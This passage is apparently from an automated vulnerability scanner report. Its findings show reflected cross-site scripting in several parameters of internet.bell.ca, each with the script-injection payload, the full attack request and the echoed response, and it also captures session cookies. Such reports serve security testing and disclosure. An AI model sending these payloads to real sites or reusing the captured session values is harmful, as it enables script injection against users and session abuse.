, 15-Nov-2040 01:48:16 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8d68ea21d78=1fcea0"><script>alert(1)</script>c5fbd15a32" />
...[SNIP]...

2.10. http://internet.bell.ca/index.cfm [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70c1e"><script>alert(1)</script>5bc75cbbd46 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfm70c1e"><script>alert(1)</script>5bc75cbbd46 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:46:31 GMT
Connection: close
Set-Cookie: SMSESSION=OG28WEuFJDk5POnnmlL1LC+RrY1ChWCgae6CoFUOTEcxb+aIHa2iYVk728p/cXNqDO+PbDDZ8c+OK0KCrFmr/OeKI5P9829VlDRnMRWPTXngD6XO364X3rHt5QJarzk57j0z1T7MjRfA3Hzj6xDAaht2V2j0EqhomTy8cnPYXFuy6mks6EZ5TJaxkoEcCYNGnJmjwWjnLrvQ0p2A+4fY+60KjUH6/q9mC7bPFEOJZl3zKw71TFEU5yiIdCLLxarIrvrVgEulpjuXRDjWBz82FDBTWFY4QFfj27CzlnwGNj3oPWLzvDUrkw==; path=/
Set-Cookie: CFID=115964088;expires=Thu, 15-Nov-2040 01:46:32 GMT;path=/
Set-Cookie: CFTOKEN=98079009;expires=Thu, 15-Nov-2040 01:46:32 GMT;path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Wed, 24-Nov-2010 01:46:32 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Wed, 24-Nov-2010 01:46:32 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Wed, 24-Nov-2010 01:46:32 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Wed, 24-Nov-2010 01:46:32 GMT;path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UUID=76692785%2D65B8%2DB130%2D71DCEAD129BDF72F;expires=Thu, 15-Nov-2040 01:46:32 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:46:32 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:46:32 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:46:32 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:46:32 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:46:32 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:46:32 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:46:32 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:46:32 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:46:32 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:46:32 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/index.cfm70c1e"><script>alert(1)</script>5bc75cbbd46" />
...[SNIP]...

2.11. http://internet.bell.ca/index.cfm [method parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the method request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 487af"><script>alert(1)</script>044202616da was submitted in the method parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?method=487af"><script>alert(1)</script>044202616da HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/index.cfm?83853%22%3E%3Cscript%3Ealert(1)%3C/script%3E8d68ea21d78=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478479424%3B%20s_lv%3D1290476679430%7C1385084679430%3B%20s_lv_s%3DFirst%2520Visit%7C1290478479430%3B%20s_pv%3DShop%253AMobile%253AOverview%253ALanding%7C1290478479448%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":3,"to":4.6,"c":"http://www.bell.ca/shopping/PrsShpWls_Landing.page","f":1290476677957,"lc":{"d0":{"v":1,"s":false}},"cd":0,"sd":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253DShop%2525253AMobile%2525253AOverview%2525253ALanding%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.bell.ca%2525252Fshopping%2525252F70772.details%252526ot%25253DA%3B; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E8d68ea21d78%3D1; VOKEN_SEEN=0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:47:07 GMT
Connection: close
Set-Cookie: SMSESSION=l3h+91FMSc6cqabOF3WAmCEOKxRkcTcwynOuY++gYgPowmrwoPZJkI3FNiictlLwVlYeA652ebvAkRha7an1cXJGq9zYHUU179yCsKx88//H3dd6+EQZ9lH+rAhzfd06kCUSL9PoGzaeUoVcbfDlarj01uW3ImQn1LS5hsowS5Pl62mdvjy5PTDuWoHKubMHO9YwkhQB483SbFfiuaCJb7mZoi5sRSsufZjbFdjeFfP3Bq98zVQjRTjFqQCZAb3wXU3+HYkGLNeZ0j6Zwv0BMbywWTx6hg3v/0fQ1Ic0n9SvC+ywP0stDw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:47:07 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:47:07 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:47:07 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:47:07 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:47:07 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:47:07 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:47:07 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:47:07 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:47:07 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3Fmethod%3D487af%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E044202616da;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:47:07 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=487af"><script>alert(1)</script>044202616da" />
...[SNIP]...

2.12. http://internet.bell.ca/index.cfm [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83853"><script>alert(1)</script>8d68ea21d78 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.cfm?83853"><script>alert(1)</script>8d68ea21d78=1 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:46:28 GMT
Connection: close
Set-Cookie: SMSESSION=lEcO+YCGjKTfMsOfxsgGMO9nc8PVTrp8C2G48Th6tB5dj4eDydecEgRIL8w51dQiBL6llgVYZxqVEyhZJFyUQQOXq1Tg/viMQ6YT/+i31tYLaAEgBhF/St+q1nO30EQX4LrJZZmkNiqU6YwX8x94QVc72IX/y85lpJNP+AdXkwLlpMwCHKbmp/u0Rk+5xApW+a6ggoOt4ZiGftiJD+zG/XifA99/3OSyWyqMQR1elsUipGyicS/dGH92G/lP3COAAt5w32JlIL0qikEEcV/iJcdzIvG39AQlKEY2mqzyb2crudetgme+Yw==; path=/
Set-Cookie: CFID=115964071;expires=Thu, 15-Nov-2040 01:46:29 GMT;path=/
Set-Cookie: CFTOKEN=16693619;expires=Thu, 15-Nov-2040 01:46:29 GMT;path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Wed, 24-Nov-2010 01:46:29 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Wed, 24-Nov-2010 01:46:29 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Wed, 24-Nov-2010 01:46:29 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Wed, 24-Nov-2010 01:46:29 GMT;path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7;expires=Thu, 15-Nov-2040 01:46:29 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:46:29 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:46:29 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:46:29 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:46:29 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:46:29 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:46:29 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:46:29 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:46:29 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:46:29 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E8d68ea21d78%3D1;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 01:46:29 GMT;path=/
Set-Cookie: VOKEN_SEEN=0;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?83853"><script>alert(1)</script>8d68ea21d78=1" />
...[SNIP]...

2.13. http://internet.bell.ca/index.cfm [path_requested parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the path_requested request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21135"><script>alert(1)</script>09c266a2042 was submitted in the path_requested parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfm?method=promo_urls.validate&path_requested=http%3A%2F%2Finternet%2Ebell%2Eca%2Fincludes%2F404%2Ecfm%3F404%3Bhttp%3A%2F%2Finternet%2Ebell%2Eca%2Fimg%5Fgallery%2F90%5Fen%2Egifd01f9%2522%253E%253Cscript%253Ealert%281%29%253C%2Fimages%2Fbuttons%2Fbt%5Fclose%2Egif21135"><script>alert(1)</script>09c266a2042 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/img_gallery/90_en.gifd01f9%22%3E%3Cscript%3Ealert(1)%3C/script%3Eea5c675b356
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478575947%3B%20s_lv%3D1290476775951%7C1385084775951%3B%20s_lv_s%3DFirst%2520Visit%7C1290478575951%3B%20s_pv%3DShop%253AMobile%253ASmartphones%252C%2520phones%2520-%2520mobile%2520internet%253AProducts%2520details%7C1290478575972%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":4,"to":4.3,"c":"http://www.bell.ca/shopping/LG-Optimus-Quantumwith-Windows--Phone-7/70772.details","f":1290476775436,"lc":{"d0":{"v":2,"s":false}},"cd":0,"sd":0}; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; SMSESSION=DgnZRN+/N2PggGTzftM2LiaZPtOGYvEoty3jcRvX87is+/24awHyXezZZPIt1lThw5/ErSkBcQP96VmZQq3Q77KsktCjLN8Sxygv/jZ1/CtcDNQGBWVohm1MoHcpVVgo3Wpwf8e+e7NwuoyZRuLewT65G4cN6rwwU7EskcFm29MI29NBkKAaKOxS8aRtqBkFSbxEe5raIbBnJNwIO+bDgisjaM1pizKBscUvVdzpXY+XnoEtzhDE7Rj52I5s92IjzY82i4v4KyjAwpJ4RQpzRx2xOGcwc+KMRY9VKXiH6SvNK4NjFe1NSw==; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478621280%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.4.10.1290476758

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:49:07 GMT
Connection: close
Set-Cookie: SMSESSION=fMWz/kjfOl7QAuy4v+l8pFY7mFzBg5wl9dMyef2zy16km2PqmirImqk9/yk+AXD2O42EJnJF3rmOLEh4wQqIJiLf6McojXopctcEUwIf0+LuBeYW8FoIARWa/KMGR+PRv4JQv9KsBSJQ2O5PyaymURjbFhuPOCNSLR9lbiK1NGCHZAxVQBs/7hZT+nDRWtQH4neSjw+sC2fE6HAsZQWf4uPgv5UkcDMgSZNmbqH6tnd1LqVcY0hCkpit/al3XgfEsHkqIsHkFpeohXj9v0LJr0k/1L9bs7M90AESPLqHGpP1CHqYoRX//A==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 01:49:07 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 01:49:07 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 01:49:07 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 01:49:07 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 01:49:07 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 01:49:07 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 01:49:07 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 01:49:07 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 01:49:07 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20hre